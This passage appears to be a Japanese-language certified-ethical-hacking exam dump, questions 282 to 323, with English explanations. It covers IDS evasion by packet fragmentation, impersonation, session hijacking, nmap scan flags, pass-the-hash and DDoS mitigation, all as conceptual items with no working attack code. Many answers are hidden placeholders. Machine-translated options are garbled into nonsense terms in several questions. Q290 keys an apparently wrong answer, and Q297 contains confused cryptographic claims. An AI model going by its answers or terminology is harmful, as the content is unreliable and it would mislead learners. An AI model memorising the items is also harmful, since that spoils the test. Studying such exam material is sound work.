シグネチャベースの侵入検知システム(IDS)で防御されたネットワークに対する侵入テスト中に、テスターはポートスキャンを開始しますが、フルSYNスキャンやTCP Connectスキャンなどの従来のスキャン方法がフラグ付けされてブロックされていることに気づきます。検出を回避するために、テスターはアプローチを変更します。TCPヘッダーを複数の小さなIPセグメントに分割してからネットワーク経由で送信します。これにより、IDSはパケットの不完全なセグメントのみを認識するようになります。これらのセグメントがターゲットに到達すると、宛先ホストはそれらを再構成し、通常のSYNリクエストとしてスキャンを処理します。IDSにはアラートは発生しませんが、スキャンによってターゲット上の開いているポートが明らかになります。テスターはIDSアラートのトリガーを回避するために、どの回避手法を採用した可能性が最も高いでしょうか？
A. ランダムなアドレス位置を使用したIPデコイ
B. ランダムなウィンドウサイズによるパケット作成
C. フィルタリングロジックを回避するためのパケット断片化
D. 偽装MACアドレスによるSYNスキャン
正解: (正解を表示します)
By fragmenting the TCP headers into multiple smaller IP segments, the tester prevents the IDS from seeing a complete packet signature. The target host reassembles the fragments and processes them normally, allowing the scan to succeed while bypassing signature-based IDS detection.

質問: **283**
ダラスにあるApex Biotech社でのレッドチーム演習中、倫理的ハッカーのレイチェルは、上級財務マネージャーのマーク・スティーブンスになりすまして、同社の人事部に電話をかけます。彼女は「CFOへのプレゼンテーションが控えている」と人事担当者に圧力をかけ、更新された従業員福利厚生表のコピーが緊急に必要だと主張します。レイチェルの説得力のある態度と威圧的な口調のため、担当者は協力せざるを得ないと感じます。この演習でレイチェルが用いているソーシャルエンジニアリングの手法はどれでしょうか？
A. ビッシング
B. 何のために何のために
C. なりすまし

D. 逆ソーシャルエンジニアリング
正解: **(**正解を表示します**)**
Rachel assumes the identity of a trusted individual within the organization to manipulate the HR staffer into divulging sensitive information. This deliberate use of a false identity to gain access is characteristic of impersonation.

質問: **284**
多国籍企業は、従業員が社内システムやリソースに接続するためにリモートアクセスを多用している。最近、機密性の高い企業データへの不正アクセスが報告されており、セッションハイジャック攻撃の可能性が懸念されている。セキュリティチームは、攻撃者が使用する具体的な手法を特定し、セッションセキュリティを強化するための対策を実施する任務を負っている。
上記シナリオを考慮すると、シナリオベースの攻撃に類似した高度なセッションハイジャック手法のうち、セキュリティチームが効果的に検知 軽減することが最も困難であり、企業データの機密性を損なう可能性のあるものはどれでしょうか？
A. 脆弱なセッションID生成アルゴリズムを悪用した総当たりセッション推測
B. ARPスプーフィング攻撃 :トラフィックをリダイレクトしてローカルネットワーク上のセッションデータをキャプチャする
C. クッキーポイズニング攻撃 :セッションクッキーを操作して正規ユーザーになりすます
D. セッションサイドジャッキング： 公共Wi-Fiネットワーク上で暗号化されていないセッショントークンを傍受する
正解: **B (**コメントを発表する**)**
ARP spoofing enables an attacker to position themselves as a man-in-the-middle on a local network, transparently intercepting and manipulating session traffic without disrupting connections, which makes detection and mitigation particularly challenging in remote access and internal network scenarios.

質問: **285**
マイアミの運送会社で行われた侵入テスト中、倫理的ハッカーのダニエルは、隠されたペイロードを含む偽装された電子メール添付ファイルを送りつけました。従業員がそれを実行すると、侵害されたワークステーションは、ダニエルが制御するリモートサーバーと密かに通信を開始します。その後1週間にわたり、ダニエルは、複数の感染エンドポイントが同期コマンドを受信し、必要に応じて大量の送信トラフィックを送信するなど、バックグラウンドタスクを同時に実行できることを確認しました。この評価において、ダニエルが最もシミュレートしている可能性が高い悪意のあるコンポーネントの種類は何ですか？
A. ボットネットエージェント
B. スケアウェア
C. スパイウェア
D. 潜在的に不要なアプリケーション(PUA)
正解: **(**正解を表示します**)**
The compromised endpoints are coordinated to receive commands and perform tasks simultaneously under remote control, which is characteristic of botnet agents used in distributed attacks.

質問: **286**
サイバーセキュリティに関心を持ち始めたあなたは、無線ネットワークのセキュリティについてより深く学ぶために、自宅に小さな実験室を設置しました。自宅のWi-Fiネットワークで実験をしているうちに、ネットワークトラフィックをキャプチャし、Wi-Fiパスワードを解読するために、よく知られたハッキングツールを使用することにしました。
しかし、何度も試みたにもかかわらず、成功していません。ご自宅のWi-Fiネットワークは、AES暗号化を使用したWPA2パーソナルを使用しています。なぜWi-Fiパスワードの解読が難しいのでしょうか？
A. このネットワークは解読不可能な暗号化方式を使用しています。
B. Wi-Fiパスワードが複雑で長すぎます。
C. あなたのハッキングツールは古くなっています。
D. ネットワークはMACアドレスフィルタリングを使用しています。
正解: **(**正解を表示します**)**

質問: **287**
次のうち、倫理的ハッキングの主な目的はどれですか？
A. システムのセキュリティ脆弱性を特定し、修正する
B. 企業のネットワークから機密情報を盗む
C. マルウェアを拡散させて複数のシステムを侵害する
D. サービス拒否攻撃を仕掛けてサービスを妨害する
正解: **(**正解を表示します**)**
The primary goal of ethical hacking is to identify, validate, and help remediate security vulnerabilities so that an organization can strengthen its defenses and reduce the risk of real- world attacks.

質問: **288**
あなたはSecureIoT Inc.のサイバーセキュリティコンサルタントです。ある製造会社から、運用技術(OT)環境で使用されている産業用IoT(IIoT)デバイスのセキュリティ強化を依頼されました。同社は、生産ラインの混乱や安全性の侵害につながる可能性のある攻撃を懸念しています。高度なファイアウォールシステムは既に導入されていますが、それだけでは不十分だとあなたは認識しています。IIoTデバイスを包括的に保護するために、次のうちどの対策を提案すべきでしょうか？
A. 既存のファイアウォールを利用し、各IIoTデバイスにウイルス対策ソフトウェアをインストールする。
B. すべてのIIoTデバイスのパスワード変更頻度を増やしてください。
C. IIoTデバイスにはITデバイスと同じ暗号化規格を使用する。

D. IIoTデバイスをネットワークの残りの部分から分離するために、ネットワークセグメンテーションを実装します。
正解: **(**正解を表示します**)**

質問: **289**
あなたはテクノロジー企業で情報セキュリティアナリストとして働いており、セッションハイジャックの潜在的な危険性について従業員向けの研修資料を作成するよう依頼されました。研修の一環として、攻撃者がサイドジャッキングを利用してアカウントを侵害する方法について説明したいと考えています。
以下のシナリオのうち、サイドジャッキング攻撃を最も正確に説明しているのはどれですか？
A. 攻撃者が従業員を悪意のあるサイトにアクセスさせ、そのサイトが従業員のブラウザに有害なスクリプトを挿入します。
B. 攻撃者が会社のネットワークファイアウォールの脆弱性を悪用して、内部システムへの不正アクセスを取得します。
C. 攻撃者がネットワークトラフィックを傍受し、暗号化されていないセッションクッキーをキャプチャして、これらを使用してユーザーになりすまします。
D. 攻撃者はソーシャルエンジニアリングの手法を用いて、従業員を騙してパスワードを漏らさせる。
正解: **(**正解を表示します**)**
Side jacking involves passively intercepting network traffic to capture session cookies transmitted without proper encryption, allowing the attacker to reuse the cookies to impersonate the authenticated user.

質問: **290**
サムは、セキュリティ組織であるInception Techに雇われた侵入テスト担当者です。彼はネットワーク上のターゲットホストに対してポートスキャンを実行するよう依頼されました。与えられたタスクを実行する際、サムはFIN/ACKプローブを送信し、ターゲットホストから応答としてRSTパケットが送信されたことを確認しました。これは、ポートが閉じていることを示しています。サムが開いているポートを検出するために使用したポートスキャン手法は何ですか？
A. IDLE/IPIDヘッダーのスキャン
B. TCPマイモンスキャン
C. クリスマススキャン
D. ACKフラグプローブスキャン
正解: **D (**コメントを発表する**)**

質問: **291**
ウェブ開発者のサムは、電子メールメッセージのセキュリティを確保するために、ハイブリッド暗号化ソフトウェアプログラムをウェブアプリケーションに組み込むよう指示されました。サムは、速度向上と安全な鍵交換のために対称鍵暗号と非対称鍵暗号の両方を使用する、OpenPGP標準の無料実装である暗号化ソフトウェアを使用しました。サムが電子メールメッセージのセキュリティ確保に使用した暗号化ソフトウェアは何ですか？
A. PGP
B. S/MIME

C. GPG
D. SMTP
正解: **(**正解を表示します**)**

質問: **292**
あなたの会社、Encryptor Corpは、機密性の高いユーザー情報を扱う新しいアプリケーションを開発しています。サイバーセキュリティの専門家として、あなたはこれらのデータが安全に保管されることを確実にしたいと考えています。
開発チームは、データをハッシュ化してから暗号化してから保存するという方法を提案しています。しかし、あなたはデータ取得時にデータの完全性を検証するための追加のセキュリティ層を求めています。チームに提案すべき暗号化の概念は次のうちどれでしょうか？
A. 楕円曲線暗号に切り替えます。
B. デジタル署名メカニズムを適用する。
C. ブロック暗号モードの動作を実装します。
D. ハッシュ化に塩を使用することをお勧めします。
正解: **B (**コメントを発表する**)**

質問: **293**
多国籍企業に勤務するサイバーセキュリティアナリストとして、あなたは定期的な脆弱性スキャンを実施する責任を負っています。今回は、いつもとは異なる戦略を採用し、ステルススキャン技術の一種であるFINスキャンを用いることにしました。
スキャンが完了した時点で、興味深い異常に気づきました。多数のポートがFINパケットに応答しなかったのです。この予期せぬ結果を受け、あなたは調査結果を正しく解釈し、今後の対応策を計画するという課題に直面しています。FINスキャンとTCP/IPプロトコルに関するあなたの知識に基づいて、これらの調査結果をどのように解釈すべきでしょうか？
A. これらのポートはFINパケットに応答しなかったため、閉じていると結論付けます。
B. ファイアウォールがFINパケットをブロックしている可能性を考慮し、さらに調査してください。
C. これはネットワークの混雑の兆候と解釈し、ネットワークの最適化を優先します。
D. この問題は進行中の違反の可能性を示しているため、直ちに経営陣に報告してください。
正解: **(**正解を表示します**)**
In a FIN scan, open ports typically do not respond, while closed ports send a reset. A lack of response from many ports can also indicate that a firewall or filtering device is blocking the FIN packets, requiring further investigation to distinguish between open and filtered ports.

質問: **294**
ある大規模組織が最近、Nessus Professionalを使用して脆弱性評価を実施し、セキュリティチームが現在最終報告書を作成中です。その結果、ネットワークへの不正アクセスを許してしまう可能性のある、XYZという高リスクの脆弱性が特定されました。
このレポートを作成する際、この特定の脆弱性に関する詳細なドキュメントに通常含まれない要素は次のうちどれですか？

A. ネットワーク全体で検出された高リスク、中リスク、低リスクの脆弱性の総数。
B. 脆弱性の CVE ID と、脆弱性の名前 XYZ へのマッピング。
C. 特定された脆弱性の影響を受ける可能性のある、組織内のすべてのシステムの一覧。
D. 可能であれば、脆弱性の概念実証(PoC)を行い、システムへの潜在的な影響を実証する。
正解: **(**正解を表示します**)**

質問: **295**
あなたはグローバル企業のサイバーセキュリティコンサルタントです。その企業はBYOD(Bring Your Own Device：私物端末の業務利用)ポリシーを採用していますが、最近、従業員の端末がフィッシング攻撃を受けるという事件が発生しました。調査の結果、フィッシング攻撃は従業員がインストールしていたサードパーティ製のメールアプリを介して行われたことが判明しました。BYODポリシーの下ではセキュリティとユーザーの自律性のバランスを取る必要があるため、企業はこのような事件のリスクをどのように軽減すべきでしょうか？また、個人端末の利用を過度に制限することなく、同様の攻撃を防ぐための対策についても検討してください。
A. 従業員に業務関連のタスクのために会社所有のデバイスを提供する。
B. フィッシング攻撃に焦点を当てた、定期的なサイバーセキュリティ意識向上トレーニングを実施する。
C. 承認されていないアプリケーションのインストールを制限するモバイルデバイス管理ソリューションを導入する。
D. すべての従業員のデバイスで、インターネットアクセスに会社提供のVPNを使用することを義務付ける。
正解: **(**正解を表示します**)**

質問: **296**
大量のHTTPS送信トラフィックが通常のウェブトラフィックの中に紛れ込んでいる。その目的は何だろうか？
A. DoS
B. データ漏洩
C. スキャン
D. 偵察
正解: **(**正解を表示します**)**
Data exfiltration commonly uses HTTPS traffic to conceal stolen data within encrypted and legitimate-looking web communications, making detection more difficult.

質問: **297**
あなたは、グローバル企業で暗号システムを管理するサイバーセキュリティの専門家です。
同社は、鍵交換に楕円曲線暗号(ECC)を、データ暗号化に対称暗号アルゴリズムを組み合わせて使用しています。ECC鍵ペア生成の時間計算量はO(n^3)で、nは鍵のサイズです。高度な脅威アクターグループは、時間計算量がO((log n)^2)でECCを解読できる可能性のある量子コンピュータを保有しています。ECC鍵のサイズがn=512で、対称暗号アルゴリズムと鍵のサイズが変化する状況において、セキュリティとパフォーマンスの最適なバランスを実現するシナリオはどれでしょうか？

A. AES-256によるデータ暗号化: 3DESよりも優れたパフォーマンスで高いセキュリティを提供しますが、他のAESキーサイズほど高速ではありません。
B. 448ビットキーを使用したBlowfishによるデータ暗号化: 高いセキュリティを提供しますが、Blowfishの使用頻度が低いため、互換性の問題が発生する可能性があります。
C. 168ビットキーを使用した3DESによるデータ暗号化: 高いセキュリティを提供しますが、3DES固有の非効率性のためパフォーマンスが低下します。
D. AES-128によるデータ暗号化: 適度なセキュリティと高速な暗号化を提供し、両者のバランスが取れています。
正解: **(**正解を表示します**)**

質問: **298**
セキュリティコンサルタントが、オレゴン州ポートランドにある地域医療機関の患者ポータルサイトに対し、正式な評価を実施している。テスト中に、認証されたユーザーにはログイン後にURLパラメータ内に埋め込まれたセッション識別子が割り当てられていることが確認された。
セッション管理実装の堅牢性を評価するため、彼は制御されたテストアカウントを使用して、認証要求を短時間のうちに複数回開始する。そして、発行された識別子を比較し、値の一部は一定のままであるものの、特定のセグメントが時間の経過とともに予測可能な形で変化することに気づく。
彼は、同じ時間枠内で生成された一連の発行済み識別子の増分パターンを分析することで、他のユーザーからのトラフィックを傍受することなく、将来有効な識別子を予測することができる。
このシナリオで特定された弱点を最もよく説明できるトークン予測メカニズムはどれですか？
A. 小さなトークンスペース
B. タイムスタンプベースのトークン
C. 連続トークン
D. 弱い乱数発生器(PRNG)
正解: **(**正解を表示します**)**
The scenario describes session identifiers that change in a predictable progression over time, allowing an attacker to anticipate future values. This behavior is characteristic of sequential token generation, where identifiers are produced in an incremental or partially deterministic sequence rather than being securely randomized.

質問: **299**
オハイオ州シンシナティにある金融サービス会社の脆弱性評価を完了したセキュリティチームは、経営陣のレビューのために正式な報告書を完成させました。報告書の一部では、特定された脆弱性を深刻度レベルごとに分類し、環境全体でリスクレベルが高いシステムを強調表示しました。この部分では、影響を受ける資産全体における特定された脆弱性の相対的な影響と優先順位が強調されています。このシナリオは、脆弱性評価報告書のどの要素を表していますか？
A. 推奨事項
B. リスク評価
C. 調査結果
D. 評価概要

正解: **B** (コメントを発表する)
The section categorizes vulnerabilities by severity and highlights systems with higher exposure, focusing on impact and prioritization. This corresponds to the risk assessment component, which evaluates and ranks risks to guide remediation priorities.

質問: **300**
多国籍金融サービス企業に対するレッドチーム演習において、倫理的ハッカーは外部からアクセス可能なシステムに対してネットワーク偵察を実施する。この際、テスターはスキャントラフィックを評価用マシンから直接送信するのではなく、すべての偵察パケットを中間的な外部システムを経由してからターゲットネットワークにルーティングする。
組織のセキュリティチームが監視データをレビューしたところ、その活動はテスターの実際の地理的位置や組織上の位置とは無関係なインフラストラクチャから発生しているように見えた。
偵察手法の観点から見て、この中間システムを使用する主な目的は何ですか？
A. 対象ネットワーク内で永続的なアクセスを確立する
B. 内部アプリケーションを保護する認証制御を回避する
C. 偵察活動の出所を隠蔽し、帰属リスクを低減する
D. IP層でパケット送信元アドレスを偽装する
正解: (正解を表示します)
Using an intermediary system to route reconnaissance traffic is intended to obscure the true origin of the scanning activity. This technique reduces attribution risk by making the activity appear to come from unrelated infrastructure, thereby hindering traceability back to the tester.

質問: **301**
地域医療機関のネットワークセキュリティアナリストであるリリーは、予定されている外部脆弱性評価に備えて防御策を準備している。内部シミュレーション訓練中に、彼女はスキャナーが重要なシステム全体で開いているポートやサービスバナーを正常に検出していることを確認した。
偵察活動への露出を減らす任務を負ったリリーは、正当な通信を妨げることなく、特に港湾スキャン活動を阻止する対策を講じるよう指示されている。リリーは次のうちどの対策を実施すべきか？
A. ポート上で実行されている不要なサービスをブロックし、サービスのバージョンを更新します。
B. カスタムルールセットを使用してネットワークをロックダウンし、ファイアウォールで不要なポートをブロックし、特定のポートをフィルタリングします。
C. ファイアウォールとIDSルールを設定してプローブを検出しブロックする
D. 受信ICMPメッセージタイプとすべての送信ICMPタイプ3到達不能メッセージをブロックします
正解: (正解を表示します)
Port scanners rely on ICMP unreachable messages to determine whether ports are closed or filtered. By blocking these ICMP responses, the system prevents scanners from accurately identifying port states, effectively hindering reconnaissance without impacting legitimate traffic significantly.

質問: **302**
小売企業の主任セキュリティエンジニアとして、あなたは同社の店舗の無線ネットワークのセキュリティを評価しています。あなたの主な懸念事項の1つは、
「ワードライビング」攻撃とは、攻撃者がWi-Fi対応デバイスを車に搭載して店内を走り回り、脆弱な無線ネットワークを探し出す攻撃です。小売店の性質上、導入するセキュリティ対策は、店内Wi-Fiへのアクセスなど、顧客体験を妨げないようにする必要があります。これらの要素を考慮すると、ワードライビング攻撃のリスクを軽減するために最も適切な対策は次のうちどれでしょうか？
A. SSIDブロードキャストを無効にする
B. 店舗のWi-FiネットワークにWPA3暗号化を実装する
C. MACアドレスフィルタリングを実装する
D. 店舗の無線信号の範囲を制限する
正解: **(**正解を表示します**)**

質問: **303**
ペネトレーションテスターのジュードは、ファイアウォール、ルーター、サーバーなどのデバイスを使用して、外部からアクセス可能な脆弱性やエクスプロイトを特定するために、ハッカーの視点からネットワークを調査しました。この過程で、彼はネットワークセキュリティ攻撃の脅威を評価し、企業ネットワークのセキュリティレベルを判断しました。ジュードが組織に対して行った脆弱性評価の種類は何ですか？
A. 受動的評価
B. 外部評価
C. 宿主ベースの評価
D. 申請評価
正解: **(**正解を表示します**)**

質問: **304**
大手eコマース企業が、セキュリティ体制強化のため脆弱性評価ソリューションの導入を計画しています。同社は、攻撃者の視点を模倣し、体系的な推論ベースのテストを実行し、継続的に更新されるデータベースに対して自動的にスキャンを行い、複数のネットワークをサポートするソリューションを求めています。これらの要件を踏まえると、どのタイプの脆弱性評価ソリューションが最も適切でしょうか？
A. プライベートネットワーク上にインストールされた製品ベースのソリューション
B. ツリーベースの評価アプローチ
C. 推論に基づく評価ソリューション
D. 監査法人が提供するサービスベースのソリューション

正解: **(**正解を表示します**)**

質問: **305**
侵入テスト担当者がHTTPS接続を分析し、クライアントがなりすましではなく正当なサーバーと通信していることを確認したいと考えている。TLSエコシステムのどのコンポーネントがこの保証を提供するか？
A. DHCPリース
B. 信頼チェーンを通じて検証されたデジタル証明書
C. MACアドレスフィルタリング
D. NAT変換テーブル
正解: **(**正解を表示します**)**
TLS relies on digital certificates issued by trusted Certificate Authorities (CAs). During the TLS handshake, the client validates the certificate's signature, validity period, hostname, and certification path before establishing an encrypted session. This process helps authenticate the server's identity and reduces the risk of impersonation attacks.

質問: **306**
テクノセキュリティ社は最近、ジョンを侵入テスト担当者として採用した。彼の任務は、ターゲットネットワーク内の開いているポートを特定し、それらのポートがオンラインかどうか、またファイアウォールルールセットに遭遇するかどうかを判定することだった。ジョンはターゲットネットワークに対してTCP SYNピングスキャンを実行することにした。
ジョンがTCP SYNピングスキャンを実行するために使用しなければならないNmapコマンドは次のうちどれですか？
A. nmap -sn -PA <ターゲットIPアドレス>
B. nmap -sn -PS <ターゲットIPアドレス>
C. nmap -sn -PO <ターゲットIPアドレス>
D. nmap -sn -PP <ターゲットIPアドレス>
正解: **(**正解を表示します**)**

質問: **307**
この暗号化アルゴリズムでは、個々のブロックは64ビットのデータを含み、3つの鍵が使用されます。各鍵は56ビットで構成されています。これはどの暗号化アルゴリズムでしょうか？
A. MD5暗号化アルゴリズム
B. トリプルデータ暗号化規格
C. IDEA
D. AES
正解: **B (**コメントを発表する**)**

質問: **308**
認定倫理的ハッカー(CEH)が、仮想ホスティングを利用している企業のウェブサーバーの監査を行っている。

サーバーは複数のドメインをホストしており、匿名性を維持しIPブロックを防ぐためにWebプロキシを使用しています。CEHは、重要なHTMLファイルを格納するサーバーのドキュメントルートディレクトリが「certroot」という名前で、/admin/webディレクトリに格納されていることを発見しました。サーバーの構成ファイル、エラーファイル、実行可能ファイル、ログファイルを格納するサーバールートも特定されています。CEHはまた、サーバーが追加のストレージとして仮想ドキュメントツリーを使用していることも確認しました。このシナリオにおいて、Webサーバーのセキュリティを最も向上させる可能性が高いアクションは次のうちどれでしょうか？

A. サーバーソフトウェアの定期的なアップデートとパッチ適用
B. LAMPなどのオープンソースWebサーバーアーキテクチャを実装する
C. サーバーのIPアドレスを定期的に変更する
D. ドキュメントルートディレクトリを別のディスクに移動する
正解: **(**正解を表示します**)**
Regularly updating and patching the server software addresses known vulnerabilities in the operating system, web server, and associated applications. This reduces the attack surface and strengthens overall web server security, which is especially important for servers hosting multiple domains and critical files.

質問: **309**
侵入テスト担当者は、大量のトラフィックや一般的なスキャン手法を検出するように設定されている組織の侵入検知システムをトリガーすることなく、ターゲットネットワーク上の開いているポートとサービスを特定する必要があります。ステルス性を高めるため、テスト担当者はスキャンを長期間にわたって分散させる方法を採用することにしました。検出リスクを最小限に抑えるには、テスト担当者はどのスキャン手法を採用すべきでしょうか？

A. すべてのフラグを設定したパケットを送信してTCPクリスマススキャンを実行します
B. スキャンタイミングオプションを遅くランダムに調整して、ステルススキャンを使用します。
C. 高速スキャンレートでTCP SYNスキャンを実行する
D. すべてのポートを同時に対象としたUDPスキャンを実行する
正解: **(**正解を表示します**)**
Slowing down and randomizing the scan timing spreads probe traffic over a longer period, reducing volume and pattern signatures that IDS rely on, making the scan far less likely to be detected compared to fast or aggressive scanning techniques.

質問: **310**
侵入テスト中に、セキュリティアナリストは入力内容に関わらず同一の汎用エラーメッセージを返すWebページに遭遇しました。SQLインジェクションをテストするために、アナリストはAND 1=1、次にAND 1=2を含むクエリを送信し、ページの内容が変化することを確認しました。テストされているインジェクションの種類は何ですか？

A. アナリストは応答の遅延を測定して、真偽の結果を推測します。
B. アナリストは、追加のテーブルからデータを抽出するために UNION 句を追加しています。
C. アナリストは、構造的な洞察を得るために、目に見えるデータベースエラーを発生させています。
D. アナリストは条件付きロジックを使用して、ページ応答からデータベースの動作を推測しています。

正解: (正解を表示します)
The analyst is performing boolean-based blind SQL injection by using true and false conditions and observing differences in application responses to infer how the backend database processes the injected logic.

質問: **311**
リッチモンドの地方銀行で行われた侵入テスト中、倫理的ハッカーのトーマスは、従業員の認証情報が送信される方法の脆弱性を特定する任務を負っています。彼はミラーリングされたポートにWiresharkを設定し、顧客サービスVLANからのHTTPログインセッションをキャプチャします。ブラウザとサーバー間の通信全体を迅速に再構築するために、トーマスはパケットデータを読み取り可能なストリームに再構成する機能を使用し、ユーザー名とパスワードをプレーンテキストで直接表示します。この場合、トーマスが最も使用している可能性が高いWiresharkの機能はどれでしょうか？
A. TCPストリームに従う
B. プロトコルによる表示フィルタリング
C. IPアドレスによるフィルタリング
D. 特定ポートの監視
正解: (正解を表示します)
Reassembling packets into a continuous, readable conversation to view credentials in plain text is accomplished using the Follow TCP Stream feature in Wireshark, which reconstructs the full session from captured packets.

質問: **312**
侵入テスト担当者が、正規のソフトウェアを装いながらバックグラウンドで悪意のある動作を実行するマルウェアをシステム上で発見しました。これはどのような種類のマルウェアでしょうか？
A. ワーム
B. ルートキット
C. トロイの木馬
D. スパイウェア
正解: **C** (コメントを発表する)
A Trojan masquerades as legitimate or harmless software to trick users into installing it, while secretly performing malicious actions in the background without self-replication.

質問: **313**
この構成により、有線または無線ネットワークインターフェイスコントローラは、コントローラが受信することを意図したフレームのみを渡すのではなく、受信したすべてのトラフィックを中央処理装置(CPU)に渡すことができる。
以下のうち、どれが説明されているのでしょうか？
A. 乱交モード
B. ポートフォワーディング
C. WEM
D. マルチキャストモード

正解: (正解を表示します)
Promiscuous mode allows a network interface card to capture and forward all network traffic it receives to the CPU, including traffic not specifically addressed to that device.

質問: **314**
監査後、監査担当者から、直ちに対処しなければならない重大な問題点があると通知されました。監査報告書を読むと、問題はポート389で稼働しているサービスにあることが分かりました。どのサービスが該当し、どのように対処すればよいでしょうか？
A. サービスは SMTP ですが、電子メールを暗号化して送信する方法である SMIME に変更する必要があります。
B. サービスは LDAP ですが、LDAPS である 636 に変更する必要があります。
C. 調査結果は直ちに行動を起こす必要はなく、あくまで提案です。
D. このサービスはNTPです。暗号化するには、UDPからTCPに変更する必要があります。
正解: (正解を表示します)

質問: **315**
クラークはプロのハッカーです。彼は、ドメイン間を素早く切り替えて検出を回避するために、同じホストを指す複数のドメインを作成 -設定しました。上記のシナリオにおける攻撃者の行動を特定してください。
A. DNSトンネリングの使用
B. コマンドラインインターフェースの使用
C. 特定されていないプロキシ活動
D. データステージング
正解: (正解を表示します)

質問: **316**
攻撃者であるデインは、ターゲットネットワークにハニーポットがインストールされているかどうかを検出したいと考えていました。この目的のために、彼は時間ベースのTCPフィンガープリンティング手法を使用して、通常のコンピュータへの応答と、手動SYNリクエストに対するハニーポットの応答を検証しました。デインは、ハニーポットを検出するために、次のうちどの手法を採用していますか？
A. Sebekベースのハニーポットの存在を検出する
B. VMware上で動作するハニーポットの検出
C. ハニーポットの存在を検出する
D. Snort_inlineハニーポットの存在を検出する
正解: (正解を表示します)

質問: **317**
認定倫理的ハッカー(CEH)であるマーティンは、大規模な企業ネットワークに対して侵入テストを実施しています。彼は、機密情報がネットワークから漏洩している可能性があると疑っています。マーティンは、テスト方法の一部としてネットワークスニッフィングを使用することにしました。ネットワークを流れるデータを包括的に把握するために、マーティンは次のどのスニッフィング手法を採用すべきでしょうか？
A. 生の匂いを嗅ぐ
B. MACフラッディング
C. DNSポイズニング
D. ARP中毒
正解: **(**正解を表示します**)**

質問: **318**
あなたは、最近管理パネルに対するクレデンシャルスタッフィング攻撃が急増していることを発見したフィンテック系スタートアップ企業の脅威インテリジェンスアナリストです。セキュリティチームは、これはアンダーグラウンドフォーラムで流出した内部ファイルが原因である可能性が高いと考えています。あなたは、サービスやフォーラムに直接アクセスすることなく、ダークウェブ上での潜在的な情報漏洩を調査する任務を負っています。
機密性の高いアクセス情報が含まれている可能性のある、非公開サービスにホストされている文書を特定するために、高度な検索フィルターを使用することにしました。チームは、これらの文書のタイトルにアカウント関連のキーワードが含まれている可能性があると疑っています。
以下の検索クエリのうち、この調査を最も効果的に支援できるのはどれでしょうか？
A. ファイルタイプ:pdf タイトル:"管理者アクセス" サイト:onion
B. ファイルタイプ:docx タイトル:"ログイン認証情報"
C. ファイルタイプ:pdf タイトル:"セキュアログイン" サイト:onion
D. ファイルタイプ:docx タイトル:"ユーザーアカウント" サイト:onion
正解: **(**正解を表示します**)**
The query targets hidden services using the "site:onion" filter and focuses on documents likely to contain sensitive access information by searching for "admin access" in the title. This combination is most effective for identifying potentially leaked administrative credentials on the dark web.

質問: **319**
侵入テスト担当者のメアリーは、侵入に成功したクライアントシステム内でパスワードハッシュを発見しました。テストを続行するにはこれらのパスワードが必要ですが、ハッシュに対応するパスワードを見つける時間はありません。テストを続行するために、彼女はどのような攻撃を実行できるでしょうか？
A. チケットを渡す
B. ハッシュをパスする
C. 内なる独白攻撃

D. LLMNR/NBT-NS中毒
正解: **B** (コメントを発表する)

質問: **320**
全国展開するeコマース小売業者が、世界中に分散した数千台のホストから大量のトラフィックが殺到し、エッジ接続が飽和状態となる持続的な分散型攻撃を受けた。ACLの調整やレート制限といった内部的な対策を講じたものの、サービスの安定性は回復しなかった。
問題をエスカレートさせた後、組織は上流の接続プロバイダーと連携し、プロバイダーは受信トラフィックを大規模なフィルタリングインフラストラクチャに迂回させ、悪意のあるトラフィックを吸収・除去してから、正当なリクエストを小売業者のネットワークに転送し直す。
このシナリオでは、どのような防御策が取られているのでしょうか？
A. ネットワークエッジにおけるRFC 3704フィルタリングの実装
B. Cisco IPSの送信元IPレピュテーションフィルタリングを有効にする
C. ISPまたはDDoS緩和サービスによるDDoS防御機能の活用
D. ルーティング層におけるブラックホールフィルタリングの導入
正解: **C** (コメントを発表する)
The scenario describes traffic being rerouted through a provider-controlled scrubbing infrastructure that filters malicious traffic at scale before forwarding clean traffic back to the victim network. This is characteristic of ISP or dedicated DDoS mitigation services that absorb and clean attack traffic upstream.

質問: **321**
ある企業のオンラインサービスが、ボットネットからのSYNフラッドとHTTP GETフラッドの両方を用いたマルチベクターDoS攻撃を受けています。標準的なファイアウォールやIDSでは、サービス停止を防ぐことができません。正当なトラフィックを中断することなく攻撃を軽減するために、企業はどのような高度な防御策を講じるべきでしょうか？
A. サーバーの帯域幅を増やし、基本的なレート制限を適用する
B. 外部IPアドレスからのすべての受信SYNパケットをブロックするようにファイアウォールを設定します。
C. 異常検知機能を備えたWebアプリケーションファイアウォール(WAF)を導入する
D. 多層防御を提供するDDoS緩和サービスを利用する
正解: (正解を表示します)
Dedicated DDoS mitigation services provide multi-layer protection across network and application layers, enabling them to absorb, filter, and differentiate malicious botnet traffic from legitimate user requests, which is essential for mitigating combined SYN flood and HTTP GET flood attacks without disrupting normal operations.

質問: **322**
サイバー攻撃者が、サイバーキルチェーン手法に従って、著名な組織に対して一連の攻撃を開始しました。攻撃者は現在、「配信」段階にあります。倫理的ハッカーであるあなたは、攻撃者の次の行動を予測しようとしています。サイバーキルチェーン手法に基づくと、攻撃者が次に取る可能性が最も高い行動は何でしょうか？
A. 攻撃者は、侵害したシステムを完全に制御するために、権限の昇格を試みます。

B. 攻撃者は、より多くのデータを収集するために、ターゲットシステムへのアクティブな接続を開始します。
C. 攻撃者は偵察を開始し、標的について可能な限り多くの情報を収集します。
D. 攻撃者は標的組織に送り込まれた悪意のあるペイロードを悪用し、足がかりを築きます。
正解: **(**正解を表示します**)**

質問: **323**
マルウェアアナリストは、埋め込まれたJavaScriptを介して攻撃を開始している疑いのある疑わしいPDFファイルを評価する任務を負っています。pdfidを使用した初期スキャンでは、JavaScriptの存在が示され、/OpenActionキーワード。アナリストは潜在的な影響を理解するために次に何をすべきでしょうか？
A. HashMyFiles を使用してファイルのハッシュを計算し、署名を照合します。
B. PDFStreamDumperを使用してストリームオブジェクトを抽出および分析します。
C. PE Explorerを使用してPDFを逆アセンブルします。
D. ファイルをVirusTotalにアップロードし、エンジンのコンセンサスに頼ります。
正解: **B (**コメントを発表する**)**
Extracting and analyzing the PDF stream objects allows the analyst to inspect embedded JavaScript and malicious payloads, understand execution flow, and determine the exploit's behavior and impact beyond mere indicator presence.

質問: **324**
あなたの会社がセキュリティリスク評価を実施したとします。その結果、会社の主要アプリケーションにおける情報漏洩のリスクは50%であることが判明しました。セキュリティ担当者は対策を講じ、必要な制御を導入しました。その後、再度セキュリティリスク評価を実施したところ、リスクは10%に低下しました。アプリケーションのリスク閾値は20%です。事業利益を最大化しつつプロジェクトを成功裏に継続させるという観点から、以下のリスク判断のうちどれが最適でしょうか？
